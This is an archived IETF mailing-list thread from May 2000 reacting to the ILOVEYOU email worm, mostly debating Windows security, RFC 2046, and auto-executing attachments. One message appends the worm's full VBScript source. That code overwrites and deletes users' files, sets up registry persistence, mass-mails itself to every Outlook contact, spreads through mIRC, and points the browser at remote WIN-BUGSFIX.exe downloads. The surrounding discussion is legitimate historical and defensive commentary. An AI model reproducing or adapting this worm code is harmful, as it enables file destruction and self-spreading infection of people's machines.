Message-ID: <Pine.LNX.4.20.0005041951140.22791-100000@vortex1.vrtx.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org


The whole world will use what they are presented with.... the difference
between Win3.1 and Win95 is far greater than the difference between Win95
and GNOME or KDE... so actually it's only software availability thats
holding back IS departments the world over!

If MS gets split, we could have Office for UNIX sooner rather than
later too!

On Thu, 4 May 2000, Lillian Komlossy wrote:

> Donald,
> 
> The whole world will not switch over to Unix 
> - the average user will always be more confortable with Windows 
> unless Unix will at one point offer the same  seamless user-friendliness. 
> So it will always be a problem, one which cannot be solved by telling 
> others not to use what they've accustomed to - and one which cannot be
> ignored.
> 
> 
> Lillian Komlossy                     
> Site Manager                         
> http://www.dmnews.com           
> http://www.imarketingnews.com  
> (212) 925-7300 ext. 232 
> 
> 
> -----Original Message-----
> From: Donald E. Eastlake 3rd [mailto:dee3@torque.pothole.com]
> Sent: Thursday, May 04, 2000 10:48 AM
> To: ietf@ietf.org
> Subject: Re: VIRUS WARNING 
> 
> 
> 
> The whole world does not run software which is a good culture medium
> for email viruses.  I mostly use nice old UNIX software and it would
> take a number of extra steps on my part for some embdedded virus to
> get a chance to run.  If your software automatically executes stuff
> in attachments, you need to change your software, not develope a list
> of subject lines you are freightened of.
> 
> Donald
> 
> From:  "Scot Mc Pherson" <smcpherson@clearaccess.net>
> To:  <isp-wireless@isp-wireless.com>, <ietf@ietf.org>
> Date:  Thu, 4 May 2000 09:27:19 -0400
> Message-ID:  <00cf01bfb5cc$79bc4280$4cc8a8c0@clearaccess.net>
> Content-Type:  text/plain;
> 	      	charset="iso-8859-1"
> Content-Transfer-Encoding:  7bit
> X-MSMail-Priority:  Normal
> X-MimeOLE:  Produced By Microsoft MimeOLE V5.00.2314.1300
> Importance:  Normal
> In-Reply-To:  <200005031840.NAA29189@benjamin.lisco.com>
> Content-Transfer-Encoding:  7bit
> X-Loop:  ietf@ietf.org
> Content-Transfer-Encoding:  7bit
> >The is an e-mail virus going around. The subject of the e-mail is
> >ILOVEYOU...I suggest you delete it the moment you receive it.
> >
> >-Scot Mc Pherson, N2UPA
> >-Sr. Network Analyst
> >-ClearAccess Communications
> >-Ph: 941.744.5757 ext. 210
> >-Fax: 941.744.0629
> >-mailto:smcpherson@clearaccess.net
> >-http://www.clearaccess.net
> >
> 

A. James Lewis (james@fsck.co.uk)
Don't throw your computers out of the windows,
throw the Windows(tm) out of your computers.



From owner-ietf-outbound  Thu May  4 15:30:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA14740
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 15:30:02 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA14615
	for <ietf@ietf.org>; Thu, 4 May 2000 15:25:39 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id PAA02220;
        Thu, 4 May 2000 15:25:37 -0400 (EDT)
Message-Id: <200005041925.PAA02220@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: Peter =?iso-8859-1?Q?N=F5u?= <peter@nou.com>
cc: ietf@ietf.org
Subject: Re: value of standards 
In-reply-to: Your message of "Thu, 04 May 2000 20:16:56 +0200."
             <4.3.1.2.20000504201610.00b2c5c0@dredd.swip.net> 
Date: Thu, 04 May 2000 15:25:37 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

> Rather than making fun of or scream "stupid", why don't we keep 
> developing and arguing for standard based 'solutions':

You mean like RFC 2046?

   The recommended action for an implementation that receives an
   "application/octet-stream" entity is to simply offer to put the data
   in a file, with any Content-Transfer-Encoding undone, or perhaps to
   use it as input to a user-specified process.

Gee, I sure am glad that the vendor of this software followed the standard
and offered to save this body part to a file.

(note that it says "user-specified process" as opposed to the insecure 
default action so graciously provided by the vendor)

RFC 2046 also says (section 9):

   Implementors should pay special attention to the
   security implications of any media types that can cause the remote
   execution of any actions in the recipient's environment.  In such
   cases, the discussion of the "application/postscript" type may serve
   as a model for considering other media types with remote execution
   capabilities.

and the section on application/postscript does indeed describe risks that
are similar to those in visual basic.

Perhaps unfortunately, RFC 2046 doesn't come right out and say
"DON'T EXECUTE CONTENT IN EMAIL MESSAGES".

Then again, it doesn't say DON'T CUT YOUR CUSTOMER'S ARM OFF either.

not that it would matter if it did...

Keith



From owner-ietf-outbound  Thu May  4 15:40:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA15082
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 15:40:02 -0400 (EDT)
Received: from ztxmail04.ztx.compaq.com (ztxmail04.ztx.compaq.com [161.114.1.208])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA14639
	for <ietf@ietf.org>; Thu, 4 May 2000 15:25:50 -0400 (EDT)
Received: by ztxmail04.ztx.compaq.com (Postfix, from userid 12345)
	id 184E65B1; Thu,  4 May 2000 14:25:21 -0500 (CDT)
Received: from excreo-gh01.reo.dec.com (unknown [16.41.128.40])
	by ztxmail04.ztx.compaq.com (Postfix) with ESMTP
	id 3BEFC951; Thu,  4 May 2000 14:25:20 -0500 (CDT)
Received: by EXCREO-GH01 with Internet Mail Service (5.5.2650.21)
	id <K26WV28Z>; Thu, 4 May 2000 20:25:18 +0100
Message-ID: <71C4C55F198BD211B24F0000F842F15807ED97CD@reoexc6.reo.cpqcorp.net>
From: "Parkinson, Jonathan" <Jonathan.Parkinson@compaq.com>
To: "'Magnus Danielson'" <magda@NETINSIGHT.SE>, Valdis.Kletnieks@vt.edu
Cc: isp-wireless@isp-wireless.com, ietf@ietf.org
Subject: RE: THe Value Of Following Standards... (was Re: VIRUS WARNING)
Date: Thu, 4 May 2000 18:06:26 +0100 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id PAA14639
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 8bit

This is what happens when a software gient makes up the rules as they go
along, all in the name of making the umm user err happy, Now i will spend
£30.00 on anti-virus software :-) 

-----Original Message-----
From: Magnus Danielson [mailto:magda@netinsight.se]
Sent: Thursday, May 04, 2000 4:24 PM
To: Valdis.Kletnieks@vt.edu
Cc: isp-wireless@isp-wireless.com; ietf@ietf.org
Subject: Re: THe Value Of Following Standards... (was Re: VIRUS WARNING)


From: Valdis.Kletnieks@vt.edu
Subject: THe Value Of Following Standards... (was Re: VIRUS WARNING)
Date: Thu, 04 May 2000 10:46:33 -0400

> On Thu, 04 May 2000 09:27:19 EDT, Scot Mc Pherson
<smcpherson@clearaccess.net>  said:
> > The is an e-mail virus going around. The subject of the e-mail is
> > ILOVEYOU...I suggest you delete it the moment you receive it.
> 
> Somebody didn't read RFC2046, section 2, where it talks about text/plain
> being *TEXT*, and application/* being *application data*.
> 
> So if your e-mail software is opening it and feeding it to Visual Basic
> just because it's tagged .vbs even though it's a text/plain, you're
> violating the RFCs.
> 
> I'm not pointing fingers, but.... ;)

You are missing the point here, this is user friendliness, the user is
allowed
to do whatever he/she wants, even in others equipment with others data. ;)

It does make box managment so much easier ;)

Cheers,
Magnus



From owner-ietf-outbound  Thu May  4 15:50:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA15298
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 15:50:02 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA14664
	for <ietf@ietf.org>; Thu, 4 May 2000 15:27:13 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id PAA02277;
        Thu, 4 May 2000 15:27:01 -0400 (EDT)
Message-Id: <200005041927.PAA02277@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: "Theodore Y. Ts'o" <tytso@MIT.EDU>
cc: "Donald E. Eastlake 3rd" <dee3@torque.pothole.com>, ietf@ietf.org
Subject: Re: VIRUS WARNING 
In-reply-to: Your message of "Thu, 04 May 2000 14:30:23 EDT."
             <200005041830.OAA05848@tsx-prime.MIT.EDU> 
Date: Thu, 04 May 2000 15:27:01 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

>  Clearly, you need report to re-education camps
> to learn why it's important to let the government let companies have to
> freedom to innovate wonderful things like vbscript.  :-)

not to mention gratuitous incompatibilites to Kerberos.

Keith



From owner-ietf-outbound  Thu May  4 16:03:55 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA15616
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 16:03:47 -0400 (EDT)
Received: from apollo.dmnews.com (mail.dmnews.com [204.141.161.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA15104
	for <ietf@ietf.org>; Thu, 4 May 2000 15:40:17 -0400 (EDT)
Received: by mail.dmnews.com with Internet Mail Service (5.5.2448.0)
	id <HNLHM4CC>; Thu, 4 May 2000 15:46:46 -0400
Message-ID: <983B9A17F5EBD311905600D0B73EA0DE03D8F2@mail.dmnews.com>
From: Lillian Komlossy <Lillian@dmnews.com>
To: "'Donald E. Eastlake 3rd'" <dee3@torque.pothole.com>
Cc: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: RE: Security insanity
Date: Thu, 4 May 2000 15:46:45 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

I agree with you - anything that is happening automatically and without 
the chance for the user to say "yes" or "no thank you" is calling for this
kind of attacks. It should be part of ActiveX or any other technology.
Nothing should autoexecute. Unfortunately a lot of e-commerce and software
companies are guilty of peppering the Internet with "auto-updates",(see AOL)
"checks" (see Windowsupdate.com), cookies, (Need I say!) etc.. which are all

open invitations for break-in and worse.
A strict standard is very much called for, IMO we must find the fine line
between user-friendly and vulnerable.

Lillian Komlossy                     
Site Manager                         
http://www.dmnews.com           
http://www.imarketingnews.com  
(212) 925-7300 ext. 232 


-----Original Message-----
From: Donald E. Eastlake 3rd [mailto:dee3@torque.pothole.com]
Sent: Thursday, May 04, 2000 1:54 PM
To: ietf@ietf.org
Subject: Security insanity



It's not switching to UNIX, its avoiding secuirty insanity like
AcitveX, self-extracting binaries, automatically executing attachemnts
on opening on opening mail, as apparently Outlook does, etc.  A few
seconds thought would tell anyone with a clue what a bad idea these
are.

It is just insane that vast parts of the computing capacity of the world
can be damaged this badly and this trivially.

Donald

PS:  Appended below is the virus in a hopefully non-virulent form.

>Donald,

>The whole world will not switch over to Unix 
>- the average user will always be more confortable with Windows 
>unless Unix will at one point offer the same  seamless user-friendliness. 
>So it will always be a problem, one which cannot be solved by telling 
>others not to use what they've accustomed to - and one which cannot be
>ignored.
>
>Lillian Komlossy                     
>Site Manager                         
>http://www.dmnews.com           
>http://www.imarketingnews.com  
>(212) 925-7300 ext. 232 

=====================================================================
 Donald E. Eastlake 3rd                      dee3@torque.pothole.com
 140 Forest Avenue                                +1 914-276-2668(h)
 Hudson, MA 01749 USA                             +1 508-261-5434(w)

q MIME-Version: 1.0
q X-Mailer: Internet Mail Service (5.5.2448.0)
q Content-Type: multipart/mixed;
q 	boundary="----_=_NextPart_000_01BFB5DE.957A65A0"
q 
q This message is in MIME format. Since your mail reader does not understand
q this format, some or all of this message may not be legible.
q 
q ------_=_NextPart_000_01BFB5DE.957A65A0
q Content-Type: text/plain
q 
q 
q kindly check the attached LOVELETTER coming from me.
q 
q 
q ------_=_NextPart_000_01BFB5DE.957A65A0
q Content-Type: application/octet-stream;
q 	name="LOVE-LETTER-FOR-YOU.TXT.vbs"
q Content-Transfer-Encoding: quoted-printable
q Content-Disposition: attachment;
q 	filename="LOVE-LETTER-FOR-YOU.TXT.vbs"
q 
q rem  barok -loveletter(vbe) <i hate go to school>
q rem 			by: spyder  /  ispyder@mail.com  /  @GRAMMERSoft
Group  /  =
q Manila,Philippines
q On Error Resume Next
q dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
q eq=3D""
q ctr=3D0
q Set fso =3D CreateObject("Scripting.FileSystemObject")
q set file =3D fso.OpenTextFile(WScript.ScriptFullname,1)
q vbscopy=3Dfile.ReadAll
q main()
q sub main()
q On Error Resume Next
q dim wscr,rr
q set wscr=3DCreateObject("WScript.Shell")
q rr=3Dwscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows =
q Scripting Host\Settings\Timeout")
q if (rr>=3D1) then
q wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting =
q Host\Settings\Timeout",0,"REG_DWORD"
q end if
q Set dirwin =3D fso.GetSpecialFolder(0)
q Set dirsystem =3D fso.GetSpecialFolder(1)
q Set dirtemp =3D fso.GetSpecialFolder(2)
q Set c =3D fso.GetFile(WScript.ScriptFullName)
q c.Copy(dirsystem&"\MSKernel32.vbs")
q c.Copy(dirwin&"\Win32DLL.vbs")
q c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
q regruns()
q html()
q spreadtoemail()
q listadriv()
q end sub
q sub regruns()
q On Error Resume Next
q Dim num,downread
q regcreate =
q "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKern=
q el32",dirsystem&"\MSKernel32.vbs"
q regcreate =
q "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService=
q s\Win32DLL",dirwin&"\Win32DLL.vbs"
q downread=3D""
q downread=3Dregget("HKEY_CURRENT_USER\Software\Microsoft\Internet =
q Explorer\Download Directory")
q if (downread=3D"") then
q downread=3D"c:\"
q end if
q if (fileexist(dirsystem&"\WinFAT32.exe")=3D1) then
q Randomize
q num =3D Int((4 * Rnd) + 1)
q if num =3D 1 then
q regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
q Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfm=
q hPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
q elseif num =3D 2 then
q regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
q Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqw=
q erWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
q elseif num =3D 3 then
q regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
q Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBd=
q QZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
q elseif num =3D 4 then
q regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
q Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSD=
q GjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN=
q -BUGSFIX.exe"
q end if
q end if
q if (fileexist(downread&"\WIN-BUGSFIX.exe")=3D0) then
q regcreate =
q "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BU=
q GSFIX",downread&"\WIN-BUGSFIX.exe"
q regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet =
q Explorer\Main\Start Page","about:blank"
q end if
q end sub
q sub listadriv
q On Error Resume Next
q Dim d,dc,s
q Set dc =3D fso.Drives
q For Each d in dc
q If d.DriveType =3D 2 or d.DriveType=3D3 Then
q folderlist(d.path&"\")
q end if
q Next
q listadriv =3D s
q end sub
q sub infectfiles(folderspec) =20
q On Error Resume Next
q dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
q set f =3D fso.GetFolder(folderspec)
q set fc =3D f.Files
q for each f1 in fc
q ext=3Dfso.GetExtensionName(f1.path)
q ext=3Dlcase(ext)
q s=3Dlcase(f1.name)
q if (ext=3D"vbs") or (ext=3D"vbe") then
q set ap=3Dfso.OpenTextFile(f1.path,2,true)
q ap.write vbscopy
q ap.close
q elseif(ext=3D"js") or (ext=3D"jse") or (ext=3D"css") or (ext=3D"wsh") =
q or (ext=3D"sct") or (ext=3D"hta") then
q set ap=3Dfso.OpenTextFile(f1.path,2,true)
q ap.write vbscopy
q ap.close
q bname=3Dfso.GetBaseName(f1.path)
q set cop=3Dfso.GetFile(f1.path)
q cop.copy(folderspec&"\"&bname&".vbs")
q fso.DeleteFile(f1.path)
q elseif(ext=3D"jpg") or (ext=3D"jpeg") then
q set ap=3Dfso.OpenTextFile(f1.path,2,true)
q ap.write vbscopy
q ap.close
q set cop=3Dfso.GetFile(f1.path)
q cop.copy(f1.path&".vbs")
q fso.DeleteFile(f1.path)
q elseif(ext=3D"mp3") or (ext=3D"mp2") then
q set mp3=3Dfso.CreateTextFile(f1.path&".vbs")
q mp3.write vbscopy
q mp3.close
q set att=3Dfso.GetFile(f1.path)
q att.attributes=3Datt.attributes+2
q end if
q if (eq<>folderspec) then
q if (s=3D"mirc32.exe") or (s=3D"mlink32.exe") or (s=3D"mirc.ini") or =
q (s=3D"script.ini") or (s=3D"mirc.hlp") then
q set scriptini=3Dfso.CreateTextFile(folderspec&"\script.ini")
q scriptini.WriteLine "[script]"
q scriptini.WriteLine ";mIRC Script"
q scriptini.WriteLine ";  Please dont edit this script... mIRC will =
q corrupt, if mIRC will"
q scriptini.WriteLine "     corrupt... WINDOWS will affect and will not =
q run correctly. thanks"
q scriptini.WriteLine ";"
q scriptini.WriteLine ";Khaled Mardam-Bey"
q scriptini.WriteLine ";http://www.mirc.com"
q scriptini.WriteLine ";"
q scriptini.WriteLine "n0=3Don 1:JOIN:#:{"
q scriptini.WriteLine "n1=3D  /if ( $nick =3D=3D $me ) { halt }"
q scriptini.WriteLine "n2=3D  /.dcc send $nick =
q "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
q scriptini.WriteLine "n3=3D}"
q scriptini.close
q eq=3Dfolderspec
q end if
q end if
q next =20
q end sub
q sub folderlist(folderspec) =20
q On Error Resume Next
q dim f,f1,sf
q set f =3D fso.GetFolder(folderspec) =20
q set sf =3D f.SubFolders
q for each f1 in sf
q infectfiles(f1.path)
q folderlist(f1.path)
q next =20
q end sub
q sub regcreate(regkey,regvalue)
q Set regedit =3D CreateObject("WScript.Shell")
q regedit.RegWrite regkey,regvalue
q end sub
q function regget(value)
q Set regedit =3D CreateObject("WScript.Shell")
q regget=3Dregedit.RegRead(value)
q end function
q function fileexist(filespec)
q On Error Resume Next
q dim msg
q if (fso.FileExists(filespec)) Then
q msg =3D 0
q else
q msg =3D 1
q end if
q fileexist =3D msg
q end function
q function folderexist(folderspec)
q On Error Resume Next
q dim msg
q if (fso.GetFolderExists(folderspec)) then
q msg =3D 0
q else
q msg =3D 1
q end if
q fileexist =3D msg
q end function
q sub spreadtoemail()
q On Error Resume Next
q dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
q set regedit=3DCreateObject("WScript.Shell")
q set out=3DWScript.CreateObject("Outlook.Application")
q set mapi=3Dout.GetNameSpace("MAPI")
q for ctrlists=3D1 to mapi.AddressLists.Count
q set a=3Dmapi.AddressLists(ctrlists)
q x=3D1
q regv=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
q if (regv=3D"") then
q regv=3D1
q end if
q if (int(a.AddressEntries.Count)>int(regv)) then
q for ctrentries=3D1 to a.AddressEntries.Count
q malead=3Da.AddressEntries(x)
q regad=3D""
q regad=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&male=
q ad)
q if (regad=3D"") then
q set male=3Dout.CreateItem(0)
q male.Recipients.Add(malead)
q male.Subject =3D "ILOVEYOU"
q male.Body =3D vbcrlf&"kindly check the attached LOVELETTER coming from =
q me."
q male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
q male.Send
q regedit.RegWrite =
q "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
q end if
q x=3Dx+1
q next
q regedit.RegWrite =
q "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
q else
q regedit.RegWrite =
q "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
q end if
q next
q Set out=3DNothing
q Set mapi=3DNothing
q end sub
q sub html
q On Error Resume Next
q dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
q dta1=3D"<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META =
q NAME=3D@-@Generator@-@ CONTENT=3D@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& =
q _
q "<META NAME=3D@-@Author@-@ CONTENT=3D@-@spyder ?-? ispyder@mail.com ?-? =
q @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& =
q _
q "<META NAME=3D@-@Description@-@ CONTENT=3D@-@simple but i think this is =
q good...@-@>"&vbcrlf& _
q "<?-?HEAD><BODY =
q ONMOUSEOUT=3D@-@window.name=3D#-#main#-#;window.open(#-#LOVE-LETTER-FOR-=
q YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
q "ONKEYDOWN=3D@-@window.name=3D#-#main#-#;window.open(#-#LOVE-LETTER-FOR-=
q YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=3D@-@fixed@-@ =
q BGCOLOR=3D@-@#FF9933@-@>"&vbcrlf& _
q "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to =
q read this HTML file<BR>- Please press #-#YES#-# button to Enable =
q ActiveX<?-?p>"&vbcrlf& _
q "<?-?CENTER><MARQUEE LOOP=3D@-@infinite@-@ =
q BGCOLOR=3D@-@yellow@-@>----------z--------------------z----------<?-?MAR=
q QUEE> "&vbcrlf& _
q "<?-?BODY><?-?HTML>"&vbcrlf& _
q "<SCRIPT language=3D@-@JScript@-@>"&vbcrlf& _
q "<!--?-??-?"&vbcrlf& _
q "if (window.screen){var wi=3Dscreen.availWidth;var =
q hi=3Dscreen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbc=
q rlf& _
q "?-??-?-->"&vbcrlf& _
q "<?-?SCRIPT>"&vbcrlf& _
q "<SCRIPT LANGUAGE=3D@-@VBScript@-@>"&vbcrlf& _
q "<!--"&vbcrlf& _
q "on error resume next"&vbcrlf& _
q "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
q "aw=3D1"&vbcrlf& _
q "code=3D"
q dta2=3D"set =
q fso=3DCreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
q "set dirsystem=3Dfso.GetSpecialFolder(1)"&vbcrlf& _
q "code2=3Dreplace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
q "code3=3Dreplace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
q "code4=3Dreplace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
q "set =
q wri=3Dfso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
q "wri.write code4"&vbcrlf& _
q "wri.close"&vbcrlf& _
q "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
q "if (err.number=3D424) then"&vbcrlf& _
q "aw=3D0"&vbcrlf& _
q "end if"&vbcrlf& _
q "if (aw=3D1) then"&vbcrlf& _
q "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
q "window.close"&vbcrlf& _
q "end if"&vbcrlf& _
q "end if"&vbcrlf& _
q "Set regedit =3D CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
q "regedit.RegWrite =
q @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^=
q -^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
q "?-??-?-->"&vbcrlf& _
q "<?-?SCRIPT>"
q dt1=3Dreplace(dta1,chr(35)&chr(45)&chr(35),"'")
q dt1=3Dreplace(dt1,chr(64)&chr(45)&chr(64),"""")
q dt4=3Dreplace(dt1,chr(63)&chr(45)&chr(63),"/")
q dt5=3Dreplace(dt4,chr(94)&chr(45)&chr(94),"\")
q dt2=3Dreplace(dta2,chr(35)&chr(45)&chr(35),"'")
q dt2=3Dreplace(dt2,chr(64)&chr(45)&chr(64),"""")
q dt3=3Dreplace(dt2,chr(63)&chr(45)&chr(63),"/")
q dt6=3Dreplace(dt3,chr(94)&chr(45)&chr(94),"\")
q set fso=3DCreateObject("Scripting.FileSystemObject")
q set c=3Dfso.OpenTextFile(WScript.ScriptFullName,1)
q lines=3DSplit(c.ReadAll,vbcrlf)
q l1=3Dubound(lines)
q for n=3D0 to ubound(lines)
q lines(n)=3Dreplace(lines(n),"'",chr(91)+chr(45)+chr(91))
q lines(n)=3Dreplace(lines(n),"""",chr(93)+chr(45)+chr(93))
q lines(n)=3Dreplace(lines(n),"\",chr(37)+chr(45)+chr(37))
q if (l1=3Dn) then
q lines(n)=3Dchr(34)+lines(n)+chr(34)
q else
q lines(n)=3Dchr(34)+lines(n)+chr(34)&"&vbcrlf& _"
q end if
q next
q set b=3Dfso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
q b.close
q set d=3Dfso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
q d.write dt5
q d.write join(lines,vbcrlf)
q d.write vbcrlf
q d.write dt6
q d.close
q end sub
q ------_=_NextPart_000_01BFB5DE.957A65A0--



From owner-ietf-outbound  Thu May  4 16:20:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA16008
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 16:20:03 -0400 (EDT)
Received: from mail.nanospace.com (qmailr@mail.nanospace.com [209.213.199.10])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA15965
	for <ietf@ietf.org>; Thu, 4 May 2000 16:18:23 -0400 (EDT)
Received: (qmail 21811 invoked by uid 74); 4 May 2000 20:18:24 -0000
Received: from jdunn@yipes.com by mail with scan4virus-0.19 (uvscan: v4.0.70/v4076. sweep: 1.8/3.33. . Clean. Processed in 0.472961 secs); 04/05/2000 13:18:24
Received: from thegrind.yipes.com (HELO zzsf220) (209.213.212.254)
  by mail.nanospace.com with SMTP; 4 May 2000 20:18:23 -0000
Reply-To: <jdunn@yipes.com>
From: "Jim Stephenson-Dunn" <jdunn@yipes.com>
To: "'A James Lewis'" <james@FSCK.CO.UK>,
        "'Lillian Komlossy'" <Lillian@dmnews.com>
Cc: <ietf@ietf.org>
Subject: RE: VIRUS WARNING 
Date: Thu, 4 May 2000 13:18:20 -0700
Message-ID: <01C88F753E97D311A7180090278D1D40689B80@teamsf.yipes.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <01C88F753E97D311A7180090278D1D407693F2@teamsf.yipes.com>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Office for Unix, Now there's a terrifying thought !!!!

(please don't contaminate the purity of my unix system with that filthy
windows software)

Jim

Jim Dunn

Senior Network Engineer
San Francisco NOC



-----Original Message-----
From: A James Lewis [mailto:james@fsck.co.uk]
Sent: Thursday, May 04, 2000 11:53 AM
To: Lillian Komlossy
Cc: 'ietf@ietf.org'
Subject: RE: VIRUS WARNING



The whole world will use what they are presented with.... the difference
between Win3.1 and Win95 is far greater than the difference between Win95
and GNOME or KDE... so actually it's only software availability thats
holding back IS departments the world over!

If MS gets split, we could have Office for UNIX sooner rather than
later too!

On Thu, 4 May 2000, Lillian Komlossy wrote:

> Donald,
>
> The whole world will not switch over to Unix
> - the average user will always be more confortable with Windows
> unless Unix will at one point offer the same  seamless user-friendliness.
> So it will always be a problem, one which cannot be solved by telling
> others not to use what they've accustomed to - and one which cannot be
> ignored.
>
>
> Lillian Komlossy
> Site Manager
> http://www.dmnews.com
> http://www.imarketingnews.com
> (212) 925-7300 ext. 232
>
>
> -----Original Message-----
> From: Donald E. Eastlake 3rd [mailto:dee3@torque.pothole.com]
> Sent: Thursday, May 04, 2000 10:48 AM
> To: ietf@ietf.org
> Subject: Re: VIRUS WARNING
>
>
>
> The whole world does not run software which is a good culture medium
> for email viruses.  I mostly use nice old UNIX software and it would
> take a number of extra steps on my part for some embdedded virus to
> get a chance to run.  If your software automatically executes stuff
> in attachments, you need to change your software, not develope a list
> of subject lines you are freightened of.
>
> Donald
>
> From:  "Scot Mc Pherson" <smcpherson@clearaccess.net>
> To:  <isp-wireless@isp-wireless.com>, <ietf@ietf.org>
> Date:  Thu, 4 May 2000 09:27:19 -0400
> Message-ID:  <00cf01bfb5cc$79bc4280$4cc8a8c0@clearaccess.net>
> Content-Type:  text/plain;
> 	      	charset="iso-8859-1"
> Content-Transfer-Encoding:  7bit
> X-MSMail-Priority:  Normal
> X-MimeOLE:  Produced By Microsoft MimeOLE V5.00.2314.1300
> Importance:  Normal
